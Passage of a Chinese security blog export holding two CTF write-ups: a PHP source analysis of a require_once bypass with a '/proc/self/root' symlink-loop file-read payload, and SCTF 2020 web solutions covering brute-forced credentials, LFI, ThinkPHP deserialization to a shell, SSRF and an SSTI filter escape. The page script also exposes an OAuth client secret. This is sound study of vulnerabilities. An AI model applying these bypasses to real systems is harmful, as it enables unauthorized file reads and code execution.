class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e跟啊跟,最终跟到\u003ccode\u003etsrm_realpath_r\u003c/code\u003e。但是\u003ccode\u003etsrm_realpath_r\u003c/code\u003e这么长不太想看怎么办?\u003cbr\u003e别忘了我们是在动态调试。让我们先看看执行的效果如何\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/noexception.png\" class=\"\" title=\"what?\"\u003e\u003cp\u003e\u003ccode\u003etsrm_realpath\u003c/code\u003e返回了NULL。看上去没问题,但是让我们回到\u003ccode\u003ezend_include_or_eval\u003c/code\u003e。按照开发者的逻辑,\u003ccode\u003etsrm_realpath\u003c/code\u003e返回NULL意味着出现了问题,理应抛出一个异常(在PHP中为\u003ccode\u003eexecute_globals.exception\u003c/code\u003e,即\u003ccode\u003eEG(exception)\u003c/code\u003e),然而纵观源码,此处并没有调用\u003ccode\u003ezend_throw_exception\u003c/code\u003e抛出异常。\u003c/p\u003e\u003cp\u003e所以我们直接走到了\u003ccode\u003ezend_stream_open\u003c/code\u003e。这时我们遇到了另一个PHP_API,参考\u003ccode\u003ezend_resolve_path\u003c/code\u003e,我们能够找到\u0026quot;真正的\u0026quot;\u003ccode\u003ezend_stream_open\u003c/code\u003e为\u003ccode\u003ephp_stream_open_for_zend\u003c/code\u003e。可以看到它对\u003ccode\u003ephp_stream_open_wrapper\u003c/code\u003e进行了包装,而\u003ccode\u003ewrapper\u003c/code\u003e又是一个指向\u003ccode\u003e_php_stream_open_wrapper_ex\u003c/code\u003e(main/streams/streams.c:2057)的宏\u003c/p\u003e\u003cp\u003e跟进来,仍然有对\u003ccode\u003ezend_resolve_path\u003c/code\u003e的调用\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/stream_open.png\" class=\"\" title=\"梅开二度\"\u003e\u003cp\u003e梅开二度,仍然返回NULL,没抛Exception。我们跟到\u003ccode\u003emain/streams/plain_wrapper.c\u003c/code\u003e中看文件是如何打开的:\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/open_wrapper.png\" class=\"\"\u003e\u003cp\u003e也就是说需要经过一次\u003ccode\u003eexpand_filepath\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003ePHPAPI \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *\u003cspan class=\"title\"\u003eexpand_filepath\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *filepath, \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *real_path)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003eexpand_filepath_ex\u003c/span\u003e(filepath, real_path, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003ePHPAPI \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *\u003cspan class=\"title\"\u003eexpand_filepath_ex\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *filepath, \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *real_path, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *relative_to, \u003cspan class=\"keyword\"\u003esize_t\u003c/span\u003e relative_to_len)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"built_in\"\u003eexpand_filepath_with_mode\u003c/span\u003e(filepath, real_path, relative_to, relative_to_len, CWD_FILEPATH);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003ePHPAPI \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *\u003cspan class=\"title\"\u003eexpand_filepath_with_mode\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *filepath, \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *real_path, \u003cspan class=\"keyword\"\u003econst\u003c/span\u003e \u003cspan class=\"keyword\"\u003echar\u003c/span\u003e *relative_to, \u003cspan class=\"keyword\"\u003esize_t\u003c/span\u003e relative_to_len, \u003cspan class=\"keyword\"\u003eint\u003c/span\u003e realpath_mode)\u003c/span\u003e \u003c/span\u003e\u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (\u003cspan class=\"built_in\"\u003evirtual_file_ex\u003c/span\u003e(\u0026amp;new_state, filepath, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, realpath_mode)) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eefree\u003c/span\u003e(new_state.cwd);\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这里怎么也有个\u003ccode\u003evirtual_file_ex\u003c/code\u003e?我们继续走\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/expand_virtual.png\" class=\"\"\u003e\u003cp\u003e竟然顺利通过了。所以我们可以得出一个小结论:是\u003ccode\u003evirtual_file_ex\u003c/code\u003e的不一致的表现导致了这个bug。\u003cbr\u003e我们进一步来探讨一下这个不一致性是怎么产生的。\u003c/p\u003e\u003ch3 id=\"virtual-file-ex\"\u003evirtual_file_ex\u003c/h3\u003e\u003cp\u003e在上面的分析中,可以看到\u003ccode\u003etsrm_realpath\u003c/code\u003e与\u003ccode\u003eexpand_filepath\u003c/code\u003e在调用\u003ccode\u003evirtual_file_ex\u003c/code\u003e分别是这么传参的:\u003c/p\u003e\u003cfigure class=\"highlight php\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// tsrm_realpath\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (virtual_file_ex(\u0026amp;new_state, path, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, CWD_REALPATH)) \u0026#123;...\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// expand_filepath\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (virtual_file_ex(\u0026amp;new_state, path, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, CWD_FILEPATH)) \u0026#123;...\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这两个宏在源码里是这么解释的:\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e CWD_FILEPATH 1 \u003cspan class=\"comment\"\u003e/* resolve symlinks if file is exist otherwise expand */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e CWD_REALPATH 2 \u003cspan class=\"comment\"\u003e/* call realpath(), resolve symlinks. File must exist */\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e二者的区别在于REALPATH调用时必须\u003cstrong\u003e保证\u003c/strong\u003e文件存在,不然就会直接返回\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (save \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ephp_sys_lstat\u003c/span\u003e(path, \u0026amp;st) \u0026lt; \u003cspan class=\"number\"\u003e0\u003c/span\u003e) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (use_realpath == CWD_REALPATH) \u0026#123;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* file not found */\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e (\u003cspan class=\"keyword\"\u003esize_t\u003c/span\u003e)\u003cspan class=\"number\"\u003e-1\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u0026#125;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* continue resolution anyway but don\u0026#x27;t save result in the cache */\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e save = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u0026#125;\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"lstat\"\u003elstat\u003c/h3\u003e\u003cp\u003e等等,它是怎么判断文件是否存在的?\u003ccode\u003ephp_sys_lstat\u003c/code\u003e是什么?\u003c/p\u003e\u003cfigure class=\"highlight cpp\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"meta-string\"\u003e\u0026lt;sys/stat.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"meta-keyword\"\u003edefine\u003c/span\u003e php_sys_lstat lstat\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说只要\u003ccode\u003elstat(path)\u003c/code\u003e小于0,PHP就会认为文件不存在,从而\u003ccode\u003evirtual_file_ex(..., CWD_REALPATH)\u003c/code\u003e,即\u003ccode\u003etsrm_realpath\u003c/code\u003e会出问题,而\u003ccode\u003evirtual_file_ex(..., CWD_FILEPATH)\u003c/code\u003e虽然\u0026quot;找不到\u0026quot;这个文件,但仍然会返回一个合法的路径。\u003cbr\u003e我们再仔细看看\u003ca href=\"https://linux.die.net/man/3/lstat\"\u003elstat在什么情况下会报错\u003c/a\u003e\u003c/p\u003e\u003cp\u003e其中有一条就很有趣:\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eThe lstat() function may fail if:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eELOOP\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e More than \u0026#123;SYMLOOP_MAX\u0026#125; symbolic links were encountered\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e during resolution of the path argument.\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在网上查阅了大半个世纪,所有人都说这是通过sysconf动态赋值的,只要满足不小于POSIX规定的8即可。可是我找到了一件很搞笑的事情:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://github.com/torvalds/linux/search?q=MAXSYMLINKS\u0026amp;unscoped_q=MAXSYMLINKS\"\u003ehttps://github.com/torvalds/linux/search?q=MAXSYMLINKS\u0026amp;unscoped_q=MAXSYMLINKS\u003c/a\u003e\u003c/p\u003e\u003cimg src=\"/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/eloop.png\" class=\"\"\u003e\u003cp\u003e无敌的Linux竟然是把这个值写死成40的,nb,属实nb\u003c/p\u003e\u003cp\u003e至此,我们有了一个payload,即\u003ccode\u003e\u0026quot;/proc/self/root\u0026quot;*21+/flag\u003c/code\u003e\u003c/p\u003e\u003cp\u003epayload中:\u003ccode\u003e/proc/self/root\u003c/code\u003e提供了两层symlink(\u003ccode\u003e/proc/self\u003c/code\u003e指向\u003ccode\u003e/proc/[pid]\u003c/code\u003e),也就是说重复21次我们将得到42层symlink,比lstat能够处理的层数多出两层。\u003c/p\u003e\u003ch2 id=\"总结\"\u003e总结\u003c/h2\u003e\u003cul\u003e\u003cli\u003e在软件开发的过程中,要有一个统一的异常处理机制,不要一会返回0,一会抛异常的\u003c/li\u003e\u003cli\u003e要和一起写代码的沟通好,写好文档(其实\u003ccode\u003evirtual_file_ex\u003c/code\u003e上面注释里写了,返回0是正常,1是有错,我估计调用的人就没好好看(逃))\u003c/li\u003e\u003cli\u003e要保证一个操作的一致性,比如这个\u003ccode\u003erequire_once\u003c/code\u003e就因为内部前后不一致导致了绕过\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"备注\"\u003e备注\u003c/h2\u003e\u003cul\u003e\u003cli\u003e源码分析基于PHP 7.4.5,截止\u003ca href=\"https://github.com/php/php-src/blob/44ad2db15fe786b07ce793624885e0c43e0af897/Zend/zend_virtual_cwd.c#L885\"\u003e8.0.0-beta1\u003c/a\u003e php 仍然使用lstat的返回值作为文件是否存在的依据\u003c/li\u003e\u003cli\u003e在源码分析的过程中还有一个地方可能导致类似的问题,有兴趣的自己看,此处不点明(\u003c/li\u003e\u003c/ul\u003e\u003cdiv id=\"gitalk-container\"\u003e\u003c/div\u003e\u003cscript src=\"https://cdn.bootcss.com/blueimp-md5/2.12.0/js/md5.min.js\"\u003e\u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"https://unpkg.com/gitalk/dist/gitalk.css\"\u003e\u003cscript src=\"https://unpkg.com/gitalk/dist/gitalk.min.js\"\u003e\u003c/script\u003e\u003cscript\u003evar gitalkConfig = {\"clientID\":\"5955d155fe2ea768241e\",\"clientSecret\":\"f96bbda9ff434950217f24f7f9369f8b8de3b025\",\"repo\":\"frankli0324.github.io\",\"owner\":\"frankli0324\",\"admin\":[\"frankli0324\"],\"distractionFreeMode\":false}; gitalkConfig.id = md5(location.pathname);var gitalk = new Gitalk(gitalkConfig); gitalk.render(\"gitalk-container\"); \u003c/script\u003e\u003clink rel=\"stylesheet\" href=\"/css/spoiler.css\" type=\"text/css\"\u003e\u003cscript src=\"/js/spoiler.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e","url":"https://blog.frankli.site/2020/08/05/Security/php-src/WMCTF2020-PHP-source-analysis/"},{"title":"SCTF 2020 两道Web题 Writeup","time":"2020-07-06T16:00:00Z","content":"\u003ch2 id=\"UnsafeDefenseSystem\"\u003eUnsafeDefenseSystem\u003c/h2\u003e\n\u003cp\u003ePHP/5.6.26, tp 5.0.24\u003cbr\u003e\n经过一番吐血的信息搜集,看到了这个破静态站的源码里竟然有注释\u003c/p\u003e\n\u003cimg src=\"/2020/07/07/\u003chr /\u003e\u003ch2 id=\"UnsafeDefenseSystem\"\u003eUnsafeDefenseSystem\u003c/h2\u003e\u003cp\u003ePHP/5.6.26, tp 5.0.24\u003cbr\u003e经过一番吐血的信息搜集,看到了这个破静态站的源码里竟然有注释\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/hint.png\" class=\"\" title=\"hint in comment\"\u003e\u003cblockquote\u003e\u003cp\u003e我要对出题人使出极限一换一\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e访问/protect.py能看到一个超长的憨批监控脚本,其实也不用看\u003cbr\u003e在静态站注释提示的/public/nationalsb/login.php的注释中又看到了关于密码的提示\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/passwd_hint.png\" class=\"\" title=\"passwd_hint\"\u003e\u003cp\u003e通过爆破得到用户名密码:\u003c/p\u003e\u003cfigure class=\"highlight text\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eAdmin1964752\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003eDsaPPPP!@#amspe1221\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后台存在lfi。经过一番读文件,看到index controller中存在反序列化点\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/entry.png\" class=\"\" title=\"unserialize entry\"\u003e\u003cp\u003e结合上文所知道的thinkphp版本可以搜到:\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/\"\u003ehttps://althims.com/2020/02/07/thinkphp-5-0-24-unserialize/\u003c/a\u003e\u003cbr\u003e\u003ca href=\"https://xz.aliyun.com/t/7594\"\u003ehttps://xz.aliyun.com/t/7594\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"http://xn--protect-gq4kgoltk9x2jgvm3c8kpghez02h8zvad37bkmqos5b.py\"\u003e出题人可能是想让条件竞争过protect.py\u003c/a\u003e,但是实际上我们可以往/tmp目录底下写文件,并且在nationalsb那里包含这一文件,最终拿到shell\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/phpinfo.png\" class=\"\" title=\"phpinfo\"\u003e\u003ch2 id=\"jsonhub\"\u003ejsonhub\u003c/h2\u003e\u003cp\u003e白盒审计。对外开放的是web1,一个Django服务,内网还有个flask。\u003c/p\u003e\u003cp\u003e首先整理思路:首先要过那个django的token,然后ssrf请求flask_rpc,这样才能带上Content-Type发POST请求\u003c/p\u003e\u003cimg src=\"/2020/07/07/Security/Writeup/SCTF-2020-Web/create_user.png\" class=\"\" title=\"User creation flaw\"\u003e\u003cp\u003e很明显,注册的时候参数完全可控,也就是说可以伪造管理员身份。将两个字段,\u003ccode\u003eis_superuser\u003c/code\u003e与\u003ccode\u003eis_staff\u003c/code\u003e都设置为True,就能访问 \u003ccode\u003ehttp://39.104.19.182/admin/app/token/\u003c/code\u003e 拿到token了。\u003c/p\u003e\u003cp\u003e在请求后方flask服务前,django服务对\u003ccode\u003eREMOTE_URL\u003c/code\u003e进行了验证。由于题目部署在了docker里,访问公网ip时\u003ccode\u003eREMOTE_URL\u003c/code\u003e实际上是172.多少多少(即使不在docker里也是公网ip)。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://xz.aliyun.com/t/3302\"\u003ehttps://xz.aliyun.com/t/3302\u003c/a\u003e\u003cbr\u003e利用CVE-2018-14574漏洞进行跳转即可\u003c/p\u003e\u003cp\u003e再看第二个服务:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e@app.before_request\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"function\"\u003e\u003cspan class=\"keyword\"\u003edef\u003c/span\u003e \u003cspan class=\"title\"\u003ebefore_request\u003c/span\u003e():\u003c/span\u003e\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e data = \u003cspan class=\"built_in\"\u003estr\u003c/span\u003e(request.data)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e log()\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u0026#123;\u0026#123;\u0026quot;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data \u003cspan class=\"keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u0026#125;\u0026#125;\u0026quot;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data \u003cspan class=\"keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;\u0026#123;%\u0026quot;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data \u003cspan class=\"keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026quot;%\u0026#125;\u0026quot;\u003c/span\u003e \u003cspan class=\"keyword\"\u003ein\u003c/span\u003e data:\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e abort(\u003cspan class=\"number\"\u003e401\u003c/span\u003e)\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e...\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e json.loads(...)\u003c/span\u003e\u003cbr\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003epython中的json模块在解析json时会自动将转义过的字符恢复,所以可以用\u003ccode\u003e\u0026quot;\\u007b\u0026quot;\u003c/code\u003e来绕过\u003ccode\u003ebefore_request\u003c/code\u003e\u003cbr\u003e关于表达式的正则过滤,由于对符号的过滤不严格导致了一个非预期,甚至完全不需要管num1和num2:\u003c/p\u003e\u003cp\u003eexploit:\u003c/p\u003e\u003cfigure class=\"highlight python\"\u003e\u003ctable\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr\u003e\u003cspan 